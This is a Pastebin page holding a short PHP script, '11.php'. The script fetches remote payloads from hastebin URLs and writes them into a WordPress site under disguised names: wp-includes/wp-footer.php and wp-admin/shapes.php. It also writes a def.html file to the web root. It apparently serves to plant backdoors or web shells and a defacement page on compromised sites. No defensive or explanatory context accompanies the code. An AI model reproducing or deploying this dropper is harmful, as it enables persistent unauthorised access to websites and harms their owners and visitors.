PalmaSolutions

11.php

May 3rd, 2018
320
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.04 KB | None | 0 0
  1. <?php
  2. function http_get($url){
  3.     $im = curl_init($url);
  4.     curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  5.     curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  6.     curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  7.     curl_setopt($im, CURLOPT_HEADER, 0);
  8.     return curl_exec($im);
  9.     curl_close($im);
  10. }
  11. $check = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/wp-footer.php" ;
  12. $text = http_get('https://hastebin.com/raw/ifucenaquz');
  13. $open = fopen($check, 'w');
  14. fwrite($open, $text);
  15. fclose($open);
  16. if(file_exists($check)){
  17.     echo $check."</br>";
  18. }else
  19.   echo "not exits";
  20. echo "done .\n " ;
  21. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/shapes.php" ;
  22. $text2 = http_get('https://hastebin.com/raw/ifucenaquz');
  23. $open2 = fopen($check2, 'w');
  24. fwrite($open2, $text2);
  25. fclose($open2);
  26. if(file_exists($check2)){
  27.     echo $check2."</br>";
  28. }else
  29.   echo "not exits2";
  30. echo "done2 .\n " ;
  31.  
  32. $check3=$_SERVER['DOCUMENT_ROOT'] . "/def.html" ;
  33. $text3 = http_get('https://hastebin.com/raw/iracirucad');
  34. $op3=fopen($check3, 'w');
  35. fwrite($op3,$text3);
  36. fclose($op3);
  37.  
  38.  
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment